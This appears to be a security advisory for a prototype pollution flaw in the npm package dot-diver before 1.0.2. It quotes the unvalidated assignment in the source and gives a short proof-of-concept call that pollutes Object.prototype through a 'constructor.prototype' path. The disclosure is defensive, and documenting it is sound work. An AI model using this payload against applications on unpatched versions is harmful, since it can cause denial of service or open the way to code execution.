| Package | Affected versions | Patched versions |
|---|---|---|
| dot-diver | < 1.0.2 | 1.0.2 |
| @clickbar/dot-diver | < 1.0.2 | 1.0.2 |
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
In this code, there is no validation for Prototpye Pollution.
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free